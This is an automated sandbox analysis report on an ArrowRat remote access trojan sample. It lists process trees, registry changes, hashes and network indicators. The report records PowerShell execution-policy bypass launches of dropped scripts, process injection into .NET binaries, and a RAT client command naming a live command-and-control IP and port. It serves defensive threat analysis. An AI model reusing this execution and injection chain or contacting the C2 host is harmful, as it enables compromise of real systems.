Analysis Overview
SHA256
abf2dcd61f4a9717e372e32dcfcb02831e51130f4a91fa87bb7954785db435fd
Threat Level: Known bad
The file 222.txt was found to be: Known bad.
Malicious Activity Summary
ArrowRat
Modifies Installed Components in the registry
Checks computer location settings
Suspicious use of SetThreadContext
Enumerates physical storage devices
Modifies registry class
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2023-05-17 18:29
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-05-17 18:29
Reported
2023-05-17 18:33
Platform
win7-20230220-en
Max time kernel
30s
Max time network
33s
Command Line
Signatures
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\222.ps1
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\Unlimited\ISO\Binnot.vbs"
C:\Windows\System32\cmd.exe
cmd /c ""C:\ProgramData\Unlimited\ISO\Binnot.bat" "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell -NoProfile -ExecutionPolicy Bypass -Command C:\ProgramData\Unlimited\ISO\Binnot.ps1
Network
Files
memory/2008-58-0x000000001B280000-0x000000001B562000-memory.dmp
memory/2008-59-0x0000000002310000-0x0000000002318000-memory.dmp
memory/2008-60-0x0000000002350000-0x00000000023D0000-memory.dmp
memory/2008-61-0x0000000002350000-0x00000000023D0000-memory.dmp
memory/2008-62-0x0000000002350000-0x00000000023D0000-memory.dmp
memory/2008-63-0x0000000002350000-0x00000000023D0000-memory.dmp
C:\ProgramData\Unlimited\ISO\Binnot.vbs
| MD5 | 8444901b66d6f83f3a684f1b44646868 |
| SHA1 | 69c9c40aef3734959b4ce5f07005bf13c07646f9 |
| SHA256 | cfeaafc87ceec9986f37f6a42ecfa39260f98c951404df95da5e074141add5da |
| SHA512 | 7493b0d40c9c914c8968b42752b1d14d415e7bccff07f9bf2ab976d77517e12a456f142ee786527c4e536fab3e4156b21ce353f51f5925bbc405937ad7929bbb |
C:\ProgramData\Unlimited\ISO\Binnot.bat
| MD5 | f1d747a7825a5db756d428a5254d244e |
| SHA1 | 7db56fe57492bd856c787cd2a836eff4f2ce5e01 |
| SHA256 | 5863b76caee43b2f1efdd2322f2e5731b1537d1deeb35e860cd75a8304fe4ddf |
| SHA512 | 4b1f63df96b8f9e2a381855974b2efab5bd48ae342b1e29a51661d0514ba6f8e62d23e3e58a9a9f978d39880ab03a9b9bf72ab52a546a965da20daa18c4d246d |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | 340e1993eb40b8bed81349fab46f89c5 |
| SHA1 | 13acc43c5621e815bf6c8371f360b9fa29625fdc |
| SHA256 | 7caa47d4b27f7a6b91453329a3471a0b06ff6f7c67fc060aa15ff98385e6e46c |
| SHA512 | abc68892589462b10615969593c6f92be3f6d6afda4683314ced7c1b083f039e8b6986692e1eb320b4f982041334a6c34f6b84502cb171c917478fb37b9093d9 |
memory/672-79-0x000000001B290000-0x000000001B572000-memory.dmp
memory/672-80-0x00000000022F0000-0x00000000022F8000-memory.dmp
C:\ProgramData\Unlimited\ISO\Binnot.ps1
| MD5 | 58ef18971b1520648e0c6d67036251ff |
| SHA1 | 68bd1ee657ff233f6a1ee453914aaecdeb845284 |
| SHA256 | 226b14799e579e28954937fa3ffdb7d0e5dcd10360b35c329a7246a23be4b4b3 |
| SHA512 | 9b7f04aca4b3e2af5aafdc9ea30c1722722d668078bea8b0aaa2394d0cb50ac75716fb9173d4084bd5a9cfaa279bd94404b64c140532daa5b3bdd66842f332d2 |
memory/672-82-0x0000000002530000-0x00000000025B0000-memory.dmp
memory/672-83-0x0000000002530000-0x00000000025B0000-memory.dmp
memory/672-84-0x0000000002530000-0x00000000025B0000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-05-17 18:29
Reported
2023-05-17 18:33
Platform
win10v2004-20230220-en
Max time kernel
149s
Max time network
154s
Command Line
Signatures
ArrowRat
Modifies Installed Components in the registry
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Software\Microsoft\Active Setup\Installed Components | C:\Windows\explorer.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2404 set thread context of 1684 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NEt\Framework\v4.0.30319\aspnet_compiler.exe |
| PID 1684 set thread context of 2660 | N/A | C:\Windows\Microsoft.NEt\Framework\v4.0.30319\aspnet_compiler.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1013461898-3711306144-4198452673-1000\{87E2689E-2912-4625-B426-1D3CF6DF3F78} | C:\Windows\explorer.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NEt\Framework\v4.0.30319\aspnet_compiler.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\222.ps1
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\Unlimited\ISO\Binnot.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Unlimited\ISO\Binnot.bat" "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell -NoProfile -ExecutionPolicy Bypass -Command C:\ProgramData\Unlimited\ISO\Binnot.ps1
C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\ProgramData\Unlimited\ISO\Unlimited.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Unlimited\ISO\Unlimited.bat" "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell -NoProfile -ExecutionPolicy Bypass -Command C:\ProgramData\Unlimited\ISO\Unlimited.ps1
C:\Windows\Microsoft.NEt\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NEt\Framework\v4.0.30319\aspnet_compiler.exe"
C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 185.252.178.121 1337 qCDAaGyIF
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.4.107.13.in-addr.arpa | udp |
| US | 20.189.173.12:443 | tcp | |
| US | 8.8.8.8:53 | 73.254.224.20.in-addr.arpa | udp |
| US | 93.184.220.29:80 | tcp | |
| NL | 87.248.202.1:80 | tcp |
Files
memory/1436-138-0x0000029038170000-0x0000029038192000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eeamc5sh.ab5.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1436-143-0x00000290366E0000-0x00000290366F0000-memory.dmp
memory/1436-144-0x00000290366E0000-0x00000290366F0000-memory.dmp
memory/1436-145-0x00000290366E0000-0x00000290366F0000-memory.dmp
C:\ProgramData\Unlimited\ISO\Binnot.vbs
| MD5 | 8444901b66d6f83f3a684f1b44646868 |
| SHA1 | 69c9c40aef3734959b4ce5f07005bf13c07646f9 |
| SHA256 | cfeaafc87ceec9986f37f6a42ecfa39260f98c951404df95da5e074141add5da |
| SHA512 | 7493b0d40c9c914c8968b42752b1d14d415e7bccff07f9bf2ab976d77517e12a456f142ee786527c4e536fab3e4156b21ce353f51f5925bbc405937ad7929bbb |
C:\ProgramData\Unlimited\ISO\Binnot.bat
| MD5 | f1d747a7825a5db756d428a5254d244e |
| SHA1 | 7db56fe57492bd856c787cd2a836eff4f2ce5e01 |
| SHA256 | 5863b76caee43b2f1efdd2322f2e5731b1537d1deeb35e860cd75a8304fe4ddf |
| SHA512 | 4b1f63df96b8f9e2a381855974b2efab5bd48ae342b1e29a51661d0514ba6f8e62d23e3e58a9a9f978d39880ab03a9b9bf72ab52a546a965da20daa18c4d246d |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 223bd4ae02766ddc32e6145fd1a29301 |
| SHA1 | 900cfd6526d7e33fb4039a1cc2790ea049bc2c5b |
| SHA256 | 1022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e |
| SHA512 | 648cd3f8a89a18128d2b1bf960835e087a74cdbc783dbfcc712b3cb9e3a2e4f715e534ba2ef81d89af8f60d4882f6859373248c875ceb26ad0922e891f2e74cc |
memory/2300-160-0x000001D058610000-0x000001D058620000-memory.dmp
memory/2300-161-0x000001D058610000-0x000001D058620000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 3003448ee73abf14d5c8011a37c40600 |
| SHA1 | b88e9cdbae2e27a25f0858fc0b6d79533fb160d8 |
| SHA256 | ae448d99735879ecee1dc3088c8f7553ebff461b96172d8f3cb5ff2fa2a12d4a |
| SHA512 | 0fe52614eec6d75a265ae380aaa1eb153bc35a1baae4d118637798575169d9dba5ad751efab5d7f5dbe9764bfb96e9ae76577a3487429a3383b5b08d5402fe3a |
C:\ProgramData\Unlimited\ISO\Binnot.ps1
| MD5 | 58ef18971b1520648e0c6d67036251ff |
| SHA1 | 68bd1ee657ff233f6a1ee453914aaecdeb845284 |
| SHA256 | 226b14799e579e28954937fa3ffdb7d0e5dcd10360b35c329a7246a23be4b4b3 |
| SHA512 | 9b7f04aca4b3e2af5aafdc9ea30c1722722d668078bea8b0aaa2394d0cb50ac75716fb9173d4084bd5a9cfaa279bd94404b64c140532daa5b3bdd66842f332d2 |
memory/2300-173-0x000001D058610000-0x000001D058620000-memory.dmp
C:\ProgramData\Unlimited\ISO\Unlimited.vbs
| MD5 | c281573a4f6f6ac5b06f2e9436400093 |
| SHA1 | c2699e56b7c26ac9cdfe1f500b49151b69bd6ad8 |
| SHA256 | 3c312f2547fbc4a3ffe5c1b6d91c03494d7653fd758d886473f2ae6656de11f7 |
| SHA512 | 76aed1be4b48d2fc019c9136eb74b3a96b56b89c74cb3b3347f8eefc592fee24a2a94ea3babd4b394080c7663864781c89afe761e59f8d65aed147d1ed422026 |
C:\ProgramData\Unlimited\ISO\Unlimited.bat
| MD5 | eff64d56c40c54a1f9891d7a6ad54899 |
| SHA1 | dbaf9a4aeb8484690d6118155d59158598f0799a |
| SHA256 | c846b192c5dc974c6d63024a06d4c31b2f7c8baa61af133e5b00009b68df86e2 |
| SHA512 | c89f82c7807b947e10f82740c01d5cb996e95c4a6e79375eee6b981d0ed911d31537e964d0cefef874c7e12f9f4baf237f0f9ed44de866abd3c8030a25b7cc83 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 0c77ce1db08e7f1b2bc9896a13b4f7a5 |
| SHA1 | 3de7b852f908b16834f9484bce8eebd4d7389ec1 |
| SHA256 | dcb3cb7065cee59e6f4e62405ef4c5418a04a35a1ac04db0b846851bc7ec967f |
| SHA512 | 5244fa2ce993c07dfbbeac86360c2e49e86c0957a016624251e917223b0d1c0afd5fefdf17b397b298c194b5699c8696dd7e59f379d6eae98665be361f077b29 |
C:\ProgramData\Unlimited\ISO\Unlimited.ps1
| MD5 | e1bb0ce912e111d3b891de922e21a739 |
| SHA1 | 8ae8856cb82f3340b2b2b1a06b3123b549005549 |
| SHA256 | 5f79c8a3a6ff96ae8ccf96dfc486ae1f5e8edeabb663e6f90be89aeb727457cc |
| SHA512 | bbb85cb9160a52d1bf464b7b459caaf9f808407031c423790be65e820fc8cce39c99c6096110228e8a8b33ddf5bff75350cbda2f6b01fc500f5169a4142528bf |
memory/2404-188-0x0000022D7F170000-0x0000022D7F180000-memory.dmp
memory/2404-189-0x0000022D7F170000-0x0000022D7F180000-memory.dmp
memory/2404-190-0x0000022D7F170000-0x0000022D7F180000-memory.dmp
memory/1684-191-0x0000000000400000-0x000000000042C000-memory.dmp
memory/1684-193-0x00000000059E0000-0x0000000005F84000-memory.dmp
memory/1684-194-0x0000000005510000-0x00000000055AC000-memory.dmp
memory/2660-195-0x0000000000400000-0x0000000000418000-memory.dmp
memory/2660-197-0x00000000053D0000-0x0000000005462000-memory.dmp
memory/2660-198-0x00000000056A0000-0x00000000056B0000-memory.dmp
memory/2660-199-0x0000000005BB0000-0x0000000005C16000-memory.dmp